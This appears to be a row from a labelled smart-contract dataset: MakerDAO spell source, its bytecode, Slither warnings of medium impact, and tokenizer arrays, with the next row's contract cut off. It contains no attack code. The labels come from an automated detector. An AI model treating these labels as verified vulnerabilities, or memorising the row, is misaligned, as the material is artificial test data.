pure returns (bool) {} function nextCastTime(uint40, uint40, bool) public pure returns (uint256) {} function setContract(address, bytes32, address) public {} function setContract(address, bytes32, bytes32, address) public {} function setIlkStabilityFee(bytes32, uint256, bool) public {} function decreaseIlkDebtCeiling(bytes32, uint256, bool) public {} function setIlkAutoLineParameters(bytes32, uint256, uint256, uint256) public {} function setIlkAutoLineDebtCeiling(bytes32, uint256) public {} function addReaderToOSMWhitelist(address, address) public {} function removeReaderFromOSMWhitelist(address, address) public {} } ////// lib/dss-exec-lib/src/DssAction.sol // // DssAction.sol -- DSS Executive Spell Actions // // Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity ^0.6.12; */ /* import { DssExecLib } from "./DssExecLib.sol"; */ abstract contract DssAction { using DssExecLib for *; // Modifier used to limit execution time when office hours is enabled modifier limited { require(DssExecLib.canCast(uint40(block.timestamp), officeHours()), "Outside office hours"); _; } // Office Hours defaults to true by default. // To disable office hours, override this function and // return false in the inherited action. function officeHours() public virtual returns (bool) { return true; } // DssExec calls execute. We limit this function subject to officeHours modifier. function execute() external limited { actions(); } // DssAction developer must override `actions()` and place all actions to be called inside. // The DssExec function will call this subject to the officeHours limiter // By keeping this function public we allow simulations of `execute()` on the actions outside of the cast time. function actions() public virtual; // Returns the next available cast time function nextCastTime(uint256 eta) external returns (uint256 castTime) { require(eta <= uint40(-1)); castTime = DssExecLib.nextCastTime(uint40(eta), uint40(block.timestamp), officeHours()); } } ////// lib/dss-exec-lib/src/DssExec.sol // // DssExec.sol -- MakerDAO Executive Spell Template // // Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity ^0.6.12; */ interface PauseAbstract { function delay() external view returns (uint256); function plot(address, bytes32, bytes calldata, uint256) external; function exec(address, bytes32, bytes calldata, uint256) external returns (bytes memory); } interface Changelog { function getAddress(bytes32) external view returns (address); } interface SpellAction { function officeHours() external view returns (bool); function nextCastTime(uint256) external view returns (uint256); } contract DssExec { Changelog constant public log = Changelog(0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F); uint256 public eta; bytes public sig; bool public done; bytes32 immutable public tag; address immutable public action; uint256 immutable public expiration; PauseAbstract immutable public pause; // Provides a descriptive tag for bot consumption // This should be modified weekly to provide a summary of the actions // Hash: seth keccak -- "$(wget https://<executive-vote-canonical-post> -q -O - 2>/dev/null)" string public description; function officeHours() external view returns (bool) { return SpellAction(action).officeHours(); } function nextCastTime() external view returns (uint256 castTime) { return SpellAction(action).nextCastTime(eta); } // @param _description A string description of the spell // @param _expiration The timestamp this spell will expire. (Ex. now + 30 days) // @param _spellAction The address of the spell action constructor(string memory _description, uint256 _expiration, address _spellAction) public { pause = PauseAbstract(log.getAddress("MCD_PAUSE")); description = _description; expiration = _expiration; action = _spellAction; sig = abi.encodeWithSignature("execute()"); bytes32 _tag; // Required for assembly access address _action = _spellAction; // Required for assembly access assembly { _tag := extcodehash(_action) } tag = _tag; } function schedule() public { require(now <= expiration, "This contract has expired"); require(eta == 0, "This spell has already been scheduled"); eta = now + PauseAbstract(pause).delay(); pause.plot(action, tag, sig, eta); } function cast() public { require(!done, "spell-already-cast"); done = true; pause.exec(action, tag, sig, eta); } } ////// lib/dss-interfaces/src/dss/ClipAbstract.sol /// ClipAbstract.sol -- Clip Interface // Copyright (C) 2021 Maker Ecosystem Growth Holdings, INC. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity >=0.5.12; */ interface ClipAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function ilk() external view returns (bytes32); function vat() external view returns (address); function dog() external view returns (address); function vow() external view returns (address); function spotter() external view returns (address); function calc() external view returns (address); function buf() external view returns (uint256); function tail() external view returns (uint256); function cusp() external view returns (uint256); function chip() external view returns (uint64); function tip() external view returns (uint192); function chost() external view returns (uint256); function kicks() external view returns (uint256); function active(uint256) external view returns (uint256); function sales(uint256) external view returns (uint256,uint256,uint256,address,uint96,uint256); function stopped() external view returns (uint256); function file(bytes32,uint256) external; function file(bytes32,address) external; function kick(uint256,uint256,address,address) external returns (uint256); function redo(uint256,address) external; function take(uint256,uint256,uint256,address,bytes calldata) external; function count() external view returns (uint256); function list() external view returns (uint256[] memory); function getStatus(uint256) external view returns (bool,uint256,uint256,uint256); function upchost() external; function yank(uint256) external; } ////// lib/dss-interfaces/src/dss/ClipperMomAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/Clipper-mom/blob/master/src/ClipperMom.sol interface ClipperMomAbstract { function owner() external view returns (address); function authority() external view returns (address); function locked(address) external view returns (uint256); function tolerance(address) external view returns (uint256); function spotter() external view returns (address); function setOwner(address) external; function setAuthority(address) external; function setPriceTolerance(address, uint256) external; function setBreaker(address, uint256, uint256) external; function tripBreaker(address) external; } ////// lib/dss-interfaces/src/dss/DogAbstract.sol /// DogAbstract.sol -- Dog Interface // Copyright (C) 2021 Maker Ecosystem Growth Holdings, INC. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity >=0.5.12; */ interface DogAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function vat() external view returns (address); function ilks(bytes32) external view returns (address,uint256,uint256,uint256); function vow() external view returns (address); function live() external view returns (uint256); function Hole() external view returns (uint256); function Dirt() external view returns (uint256); function file(bytes32,address) external; function file(bytes32,uint256) external; function file(bytes32,bytes32,uint256) external; function file(bytes32,bytes32,address) external; function chop(bytes32) external view returns (uint256); function bark(bytes32,address,address) external returns (uint256); function digs(bytes32,uint256) external; function cage() external; } ////// lib/dss-interfaces/src/dss/ESMAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/esm/blob/master/src/ESM.sol interface ESMAbstract { function gem() external view returns (address); function end() external view returns (address); function proxy() external view returns (address); function min() external view returns (uint256); function sum(address) external view returns (address); function Sum() external view returns (uint256); function revokesGovernanceAccess() external view returns (bool); function fire() external; function deny(address) external; function join(uint256) external; function burn() external; } ////// lib/dss-interfaces/src/dss/EndAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/dss/blob/master/src/end.sol interface EndAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function vat() external view returns (address); function cat() external view returns (address); function dog() external view returns (address); function vow() external view returns (address); function pot() external view returns (address); function spot() external view returns (address); function live() external view returns (uint256); function when() external view returns (uint256); function wait() external view returns (uint256); function debt() external view returns (uint256); function tag(bytes32) external view returns (uint256); function gap(bytes32) external view returns (uint256); function Art(bytes32) external view returns (uint256); function fix(bytes32) external view returns (uint256); function bag(address) external view returns (uint256); function out(bytes32, address) external view returns (uint256); function WAD() external view returns (uint256); function RAY() external view returns (uint256); function file(bytes32, address) external; function file(bytes32, uint256) external; function cage() external; function cage(bytes32) external; function skip(bytes32, uint256) external; function snip(bytes32, uint256) external; function skim(bytes32, address) external; function free(bytes32) external; function thaw() external; function flow(bytes32) external; function pack(uint256) external; function cash(bytes32, uint256) external; } ////// lib/dss-interfaces/src/dss/IlkRegistryAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/ilk-registry interface IlkRegistryAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function vat() external view returns (address); function dog() external view returns (address); function cat() external view returns (address); function spot() external view returns (address); function ilkData(bytes32) external view returns ( uint96, address, address, uint8, uint96, address, address, string memory, string memory ); function ilks() external view returns (bytes32[] memory); function ilks(uint) external view returns (bytes32); function add(address) external; function remove(bytes32) external; function update(bytes32) external; function removeAuth(bytes32) external; function file(bytes32, address) external; function file(bytes32, bytes32, address) external; function file(bytes32, bytes32, uint256) external; function file(bytes32, bytes32, string calldata) external; function count() external view returns (uint256); function list() external view returns (bytes32[] memory); function list(uint256, uint256) external view returns (bytes32[] memory); function get(uint256) external view returns (bytes32); function info(bytes32) external view returns ( string memory, string memory, uint256, uint256, address, address, address, address ); function pos(bytes32) external view returns (uint256); function class(bytes32) external view returns (uint256); function gem(bytes32) external view returns (address); function pip(bytes32) external view returns (address); function join(bytes32) external view returns (address); function xlip(bytes32) external view returns (address); function dec(bytes32) external view returns (uint256); function symbol(bytes32) external view returns (string memory); function name(bytes32) external view returns (string memory); function put(bytes32, address, address, uint256, uint256, address, address, string calldata, string calldata) external; } ////// lib/dss-interfaces/src/dss/VowAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/dss/blob/master/src/vow.sol interface VowAbstract { function wards(address) external view returns (uint256); function rely(address usr) external; function deny(address usr) external; function vat() external view returns (address); function flapper() external view returns (address); function flopper() external view returns (address); function sin(uint256) external view returns (uint256); function Sin() external view returns (uint256); function Ash() external view returns (uint256); function wait() external view returns (uint256); function dump() external view returns (uint256); function sump() external view returns (uint256); function bump() external view returns (uint256); function hump() external view returns (uint256); function live() external view returns (uint256); function file(bytes32, uint256) external; function file(bytes32, address) external; function fess(uint256) external; function flog(uint256) external; function heal(uint256) external; function kiss(uint256) external; function flop() external returns (uint256); function flap() external returns (uint256); function cage() external; } ////// src/DssSpell.sol // Copyright (C) 2021 Maker Ecosystem Growth Holdings, INC. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity 0.6.12; */ /* import {Fileable, ChainlogLike} from "dss-exec-lib/DssExecLib.sol"; */ /* import "dss-exec-lib/DssExec.sol"; */ /* import "dss-exec-lib/DssAction.sol"; */ /* import "dss-interfaces/dss/IlkRegistryAbstract.sol"; */ /* import "dss-interfaces/dss/VowAbstract.sol"; */ /* import "dss-interfaces/dss/DogAbstract.sol"; */ /* import "dss-interfaces/dss/ClipAbstract.sol"; */ /* import "dss-interfaces/dss/ClipperMomAbstract.sol"; */ /* import "dss-interfaces/dss/EndAbstract.sol"; */ /* import "dss-interfaces/dss/ESMAbstract.sol"; */ interface LerpFabLike_1 { function newLerp(bytes32, address, bytes32, uint256, uint256, uint256, uint256) external returns (address); } contract DssSpellAction is DssAction { // Provides a descriptive tag for bot consumption // This should be modified weekly to provide a summary of the actions // Hash: seth keccak -- "$(wget https://raw.githubusercontent.com/makerdao/community/57f8d6d1f2a7882879901ca52aaf65c0c4f0a916/governance/votes/Executive%20vote%20-%20April%2023%2C%202021.md -q -O - 2>/dev/null)" string public constant description = "2021-04-23 MakerDAO Executive Spell | Hash: 0x43eaf55ab4d67c46081871b142f37e85e36c72476dd31b0422e79e9520450d63"; // New addresses address constant MCD_CLIP_YFI_A = 0x9daCc11dcD0aa13386D295eAeeBBd38130897E6f; address constant MCD_CLIP_CALC_YFI_A = 0x1f206d7916Fd3B1b5B0Ce53d5Cab11FCebc124DA; address constant LERP_FAB = 0x00B416da876fe42dd02813da435Cc030F0d72434; // Units used uint256 constant MILLION = 10**6; uint256 constant WAD = 10**18; uint256 constant RAY = 10**27; uint256 constant RAD = 10**45; // Many of the settings that change weekly rely on the rate accumulator // described at https://docs.makerdao.com/smart-contract-modules/rates-module // To check this yourself, use the following rate calculation (example 8%): // // $ bc -l <<< 'scale=27; e( l(1.08)/(60 * 60 * 24 * 365) )' // // A table of rates can be found at // https://ipfs.io/ipfs/QmefQMseb3AiTapiAKKexdKHig8wroKuZbmLtPLv4u2YwW // uint256 constant ZERO_PCT = 1000000000000000000000000000; uint256 constant ONE_PCT = 1000000000315522921573372069; uint256 constant TWO_PCT = 1000000000627937192491029810; uint256 constant THREE_PCT = 1000000000937303470807876289; uint256 constant THREE_PT_FIVE_PCT = 1000000001090862085746321732; uint256 constant FOUR_PCT = 1000000001243680656318820312; uint256 constant FOUR_PT_FIVE_PCT = 1000000001395766281313196627; uint256 constant FIVE_PCT = 1000000001547125957863212448; uint256 constant TEN_PCT = 1000000003022265980097387650; function actions() public override { // ------------- Get all the needed addresses from Chainlog ------------- address MCD_VAT = DssExecLib.vat(); address MCD_CAT = DssExecLib.cat(); address MCD_DOG = DssExecLib.getChangelogAddress("MCD_DOG"); address MCD_VOW = DssExecLib.vow(); address MCD_SPOT = DssExecLib.spotter(); address MCD_END = DssExecLib.end(); address MCD_ESM = DssExecLib.getChangelogAddress("MCD_ESM"); address FLIPPER_MOM = DssExecLib.flipperMom(); address CLIPPER_MOM = DssExecLib.getChangelogAddress("CLIPPER_MOM"); address ILK_REGISTRY = DssExecLib.getChangelogAddress("ILK_REGISTRY"); address PIP_YFI = DssExecLib.getChangelogAddress("PIP_YFI"); address MCD_FLIP_YFI_A = DssExecLib.getChangelogAddress("MCD_FLIP_YFI_A"); address CHANGELOG = DssExecLib.getChangelogAddress("CHANGELOG"); // ------------- Increase the System Surplus Buffer And Add Burn Percentage ------------- address lerp = LerpFabLike_1(LERP_FAB).newLerp("20210423_VOW_HUMP1", MCD_VOW, "hump", 1619773200, 30 * MILLION * RAD, 60 * MILLION * RAD, 99 days); VowAbstract(MCD_VOW).rely(lerp); DssExecLib.setChangelogAddress("LERP_FAB", LERP_FAB); // ------------- Add YFI-A to Liquidations 2.0 Framework ------------- // Check constructor values of Clipper require(ClipAbstract(MCD_CLIP_YFI_A).vat() == MCD_VAT, "DssSpell/clip-wrong-vat"); require(ClipAbstract(MCD_CLIP_YFI_A).spotter() == MCD_SPOT, "DssSpell/clip-wrong-spotter"); require(ClipAbstract(MCD_CLIP_YFI_A).dog() == MCD_DOG, "DssSpell/clip-wrong-dog"); require(ClipAbstract(MCD_CLIP_YFI_A).ilk() == "YFI-A", "DssSpell/clip-wrong-ilk"); // Set CLIP for YFI-A in the DOG DssExecLib.setContract(MCD_DOG, "YFI-A", "clip", MCD_CLIP_YFI_A); // Set VOW in the YFI-A CLIP DssExecLib.setContract(MCD_CLIP_YFI_A, "vow", MCD_VOW); // Set CALC in the YFI-A CLIP DssExecLib.setContract(MCD_CLIP_YFI_A, "calc", MCD_CLIP_CALC_YFI_A); // Authorize CLIP can access to VAT DssExecLib.authorize(MCD_VAT, MCD_CLIP_YFI_A); // Authorize CLIP can access to DOG DssExecLib.authorize(MCD_DOG, MCD_CLIP_YFI_A); // Authorize DOG can kick auctions on CLIP DssExecLib.authorize(MCD_CLIP_YFI_A, MCD_DOG); // Authorize the new END to access the YFI CLIP DssExecLib.authorize(MCD_CLIP_YFI_A, MCD_END); // Authorize CLIPPERMOM can set the stopped flag in CLIP DssExecLib.authorize(MCD_CLIP_YFI_A, CLIPPER_MOM); // Authorize new ESM to execute in YFI-A Clipper DssExecLib.authorize(MCD_CLIP_YFI_A, MCD_ESM); // Whitelist CLIP in the YFI osm DssExecLib.addReaderToOSMWhitelist(PIP_YFI, MCD_CLIP_YFI_A); // Whitelist CLIPPER_MOM in the YFI osm DssExecLib.addReaderToOSMWhitelist(PIP_YFI, CLIPPER_MOM); // No more auctions kicked via the CAT: DssExecLib.deauthorize(MCD_FLIP_YFI_A, MCD_CAT); // No more circuit breaker for the FLIP in YFI-A: DssExecLib.deauthorize(MCD_FLIP_YFI_A, FLIPPER_MOM); Fileable(MCD_DOG).file("YFI-A", "hole", 5 * MILLION * RAD); Fileable(MCD_DOG).file("YFI-A", "chop", 113 * WAD / 100); Fileable(MCD_CLIP_YFI_A).file("buf", 130 * RAY / 100); Fileable(MCD_CLIP_YFI_A).file("tail", 140 minutes); Fileable(MCD_CLIP_YFI_A).file("cusp", 40 * RAY / 100); Fileable(MCD_CLIP_YFI_A).file("chip", 1 * WAD / 1000); Fileable(MCD_CLIP_YFI_A).file("tip", 0); Fileable(MCD_CLIP_CALC_YFI_A).file("cut", 99 * RAY / 100); // 1% cut Fileable(MCD_CLIP_CALC_YFI_A).file("step", 90 seconds); // Tolerance currently set to 50%. // n.b. 600000000000000000000000000 == 40% acceptable drop ClipperMomAbstract(CLIPPER_MOM).setPriceTolerance(MCD_CLIP_YFI_A, 50 * RAY / 100); ClipAbstract(MCD_CLIP_YFI_A).upchost(); // Replace flip to clip in the ilk registry DssExecLib.setContract(ILK_REGISTRY, "YFI-A", "xlip", MCD_CLIP_YFI_A); Fileable(ILK_REGISTRY).file("YFI-A", "class", 1); DssExecLib.setChangelogAddress("MCD_CLIP_YFI_A", MCD_CLIP_YFI_A); DssExecLib.setChangelogAddress("MCD_CLIP_CALC_YFI_A", MCD_CLIP_CALC_YFI_A); ChainlogLike(CHANGELOG).removeAddress("MCD_FLIP_YFI_A"); // ------------- Stability fees ------------- DssExecLib.setIlkStabilityFee("LINK-A", FIVE_PCT, true); DssExecLib.setIlkStabilityFee("ETH-B", TEN_PCT, true); DssExecLib.setIlkStabilityFee("ZRX-A", FOUR_PCT, true); DssExecLib.setIlkStabilityFee("LRC-A", FOUR_PCT, true); DssExecLib.setIlkStabilityFee("UNIV2DAIETH-A", THREE_PT_FIVE_PCT, true); DssExecLib.setIlkStabilityFee("UNIV2USDCETH-A", FOUR_PT_FIVE_PCT, true); DssExecLib.setIlkStabilityFee("AAVE-A", THREE_PCT, true); DssExecLib.setIlkStabilityFee("BAT-A", FIVE_PCT, true); DssExecLib.setIlkStabilityFee("MANA-A", THREE_PCT, true); DssExecLib.setIlkStabilityFee("BAL-A", TWO_PCT, true); DssExecLib.setIlkStabilityFee("UNIV2DAIUSDC-A", ONE_PCT, true); DssExecLib.setIlkStabilityFee("UNIV2LINKETH-A", FOUR_PCT, true); DssExecLib.setIlkStabilityFee("UNIV2WBTCDAI-A", ZERO_PCT, true); DssExecLib.setIlkStabilityFee("UNIV2AAVEETH-A", FOUR_PCT, true); DssExecLib.setIlkStabilityFee("UNIV2DAIUSDT-A", THREE_PCT, true); // ------------- Regular debt ceilings ------------- DssExecLib.decreaseIlkDebtCeiling("USDT-A", 25 * MILLION / 10, true); // ------------- Auto line max ceiling changes ------------- DssExecLib.setIlkAutoLineDebtCeiling("YFI-A", 90 * MILLION); // DssExecLib.setIlkAutoLineDebtCeiling("AAVE-A", 50 * MILLION); DssExecLib.setIlkAutoLineDebtCeiling("BAT-A", 7 * MILLION); // DssExecLib.setIlkAutoLineDebtCeiling("RENBTC-A", 10 * MILLION); // DssExecLib.setIlkAutoLineDebtCeiling("MANA-A", 5 * MILLION); // DssExecLib.setIlkAutoLineDebtCeiling("BAL-A", 30 * MILLION); DssExecLib.setIlkAutoLineDebtCeiling("UNIV2DAIETH-A", 50 * MILLION); // DssExecLib.setIlkAutoLineDebtCeiling("LRC-A", 5 * MILLION); // ------------- Auto line gap changes ------------- DssExecLib.setIlkAutoLineParameters("AAVE-A", 50 * MILLION, 5 * MILLION, 12 hours); DssExecLib.setIlkAutoLineParameters("RENBTC-A", 10 * MILLION, 1 * MILLION, 12 hours); DssExecLib.setIlkAutoLineParameters("MANA-A", 5 * MILLION, 1 * MILLION, 12 hours); DssExecLib.setIlkAutoLineParameters("BAL-A", 30 * MILLION, 3 * MILLION, 12 hours); DssExecLib.setIlkAutoLineParameters("LRC-A", 5 * MILLION, 1 * MILLION, 12 hours); // ------------- Auto line new ilks ------------- DssExecLib.setIlkAutoLineParameters("UNIV2WBTCETH-A", 20 * MILLION, 3 * MILLION, 12 hours); DssExecLib.setIlkAutoLineParameters("UNIV2UNIETH-A", 20 * MILLION, 3 * MILLION, 12 hours); DssExecLib.setIlkAutoLineParameters("UNIV2LINKETH-A", 20 * MILLION, 2 * MILLION, 12 hours); DssExecLib.setIlkAutoLineParameters("UNIV2AAVEETH-A", 20 * MILLION, 2 * MILLION, 12 hours); DssExecLib.setIlkAutoLineParameters("UNIV2ETHUSDT-A", 10 * MILLION, 2 * MILLION, 12 hours); DssExecLib.setIlkAutoLineParameters("UNIV2DAIUSDT-A", 10 * MILLION, 2 * MILLION, 12 hours); DssExecLib.setIlkAutoLineParameters("UNIV2WBTCDAI-A", 20 * MILLION, 3 * MILLION, 12 hours); // ------------- Chainlog version ------------- DssExecLib.setChangelogVersion("1.4.0"); } } contract DssSpell is DssExec { DssSpellAction internal action_ = new DssSpellAction(); constructor() DssExec(action_.description(), block.timestamp + 30 days, address(action_)) public {} }
0x608060405234801561001057600080fd5b50600436106100ae5760003560e01c8062a7029b146100b35780630a7a1c4d146101305780634665096d1461015457806351973ec91461016e57806351f91066146101765780636e832f071461017e5780637284e4161461019a5780638456cb59146101a257806396d373e5146101aa578063ae8421e1146101b4578063b0604a26146101bc578063f7992d85146101c4578063fe7d47bb146101cc575b600080fd5b6100bb6101d4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f55781810151838201526020016100dd565b50505050905090810190601f1680156101225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610138610261565b604080516001600160a01b039092168252519081900360200190f35b61015c610285565b60408051918252519081900360200190f35b6101386102a9565b61015c6102c1565b6101866102e5565b604080519115158252519081900360200190f35b6100bb610371565b6101386103cc565b6101b26103f0565b005b610186610679565b6101b2610682565b61015c610919565b61015c61091f565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102595780601f1061022e57610100808354040283529160200191610259565b820191906000526020600020905b81548152906001019060200180831161023c57829003601f168201915b505050505081565b7f000000000000000000000000904b98b814583f80ff886e446f509e6e1caa85d081565b7f0000000000000000000000000000000000000000000000000000000060aa867881565b73da0ab1e0017debcd72be8599041a2aa3ba7e740f81565b7fd466b4b02033746f544861aafeef346cc70131c1550f7ac39a752fe502ca682c81565b60007f000000000000000000000000904b98b814583f80ff886e446f509e6e1caa85d06001600160a01b0316636e832f076040518163ffffffff1660e01b815260040160206040518083038186803b15801561034057600080fd5b505afa158015610354573d6000803e3d6000fd5b505050506040513d602081101561036a57600080fd5b5051905090565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102595780601f1061022e57610100808354040283529160200191610259565b7f000000000000000000000000be286431454714f511008713973d3b053a2d38f381565b60025460ff161561043d576040805162461bcd60e51b81526020600482015260126024820152711cdc195b1b0b585b1c9958591e4b58d85cdd60721b604482015290519081900360640190fd5b6002805460ff19166001908117825560005460405163168ccd6760e01b81527f000000000000000000000000904b98b814583f80ff886e446f509e6e1caa85d06001600160a01b03818116600484019081527fd466b4b02033746f544861aafeef346cc70131c1550f7ac39a752fe502ca682c60248501819052606485018690526080604486019081528754600019818a161561010002011698909804608486018190527f000000000000000000000000be286431454714f511008713973d3b053a2d38f3939093169763168ccd6797949691959193909160a40190859080156105685780601f1061053d57610100808354040283529160200191610568565b820191906000526020600020905b81548152906001019060200180831161054b57829003601f168201915b505095505050505050600060405180830381600087803b15801561058b57600080fd5b505af115801561059f573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156105c857600080fd5b8101908080516040519392919084600160201b8211156105e757600080fd5b9083019060208201858111156105fc57600080fd5b8251600160201b81118282018810171561061557600080fd5b82525081516020918201929091019080838360005b8381101561064257818101518382015260200161062a565b50505050905090810190601f16801561066f5780820380516001836020036101000a031916815260200191505b5060405250505050565b60025460ff1681565b7f0000000000000000000000000000000000000000000000000000000060aa86784211156106f3576040805162461bcd60e51b8152602060048201526019602482015278151a1a5cc818dbdb9d1c9858dd081a185cc8195e1c1a5c9959603a1b604482015290519081900360640190fd5b600054156107325760405162461bcd60e51b81526004018080602001828103825260258152602001806109886025913960400191505060405180910390fd5b7f000000000000000000000000be286431454714f511008713973d3b053a2d38f36001600160a01b0316636a42b8f86040518163ffffffff1660e01b815260040160206040518083038186803b15801561078b57600080fd5b505afa15801561079f573d6000803e3d6000fd5b505050506040513d60208110156107b557600080fd5b5051420160008190556040516346d2fbbb60e01b81526001600160a01b037f000000000000000000000000904b98b814583f80ff886e446f509e6e1caa85d0818116600484019081527fd466b4b02033746f544861aafeef346cc70131c1550f7ac39a752fe502ca682c602485018190526064850186905260806044860190815260018054600281831615610100026000190190911604608488018190527f000000000000000000000000be286431454714f511008713973d3b053a2d38f3909616976346d2fbbb97959693959194909390929160a40190859080156108dc5780601f106108b1576101008083540402835291602001916108dc565b820191906000526020600020905b8154815290600101906020018083116108bf57829003601f168201915b505095505050505050600060405180830381600087803b1580156108ff57600080fd5b505af1158015610913573d6000803e3d6000fd5b50505050565b60005481565b60007f000000000000000000000000904b98b814583f80ff886e446f509e6e1caa85d06001600160a01b031663bf0fbcec6000546040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561034057600080fdfe54686973207370656c6c2068617320616c7265616479206265656e207363686564756c6564a2646970667358221220b1086cbe56201c7cab58f18dede743ea463a15bea4ac70d59e30ba51df25a78864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2487, 4402, 2063, 24087, 2487, 2094, 2692, 7959, 2629, 4246, 2620, 2497, 2620, 2620, 18939, 27009, 23632, 2620, 23352, 26976, 2549, 6305, 2683, 2575, 2581, 2546, 2692, 2683, 1013, 1013, 2002, 2615, 2213, 1024, 16379, 4216, 1997, 5034, 2278, 1013, 16233, 4757, 11880, 2140, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1020, 1012, 2260, 1028, 1027, 1014, 1012, 1019, 1012, 2260, 1028, 1027, 1014, 1012, 1020, 1012, 2260, 1026, 1014, 1012, 1021, 1012, 1014, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 5622, 2497, 1013, 16233, 2015, 1011, 4654, 8586, 1011, 5622, 2497, 1013, 5034, 2278, 1013, 16233, 3366, 2595, 8586, 29521, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,048
0x961ef933cd0262176df41fa9f743a6aa1607112d
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; 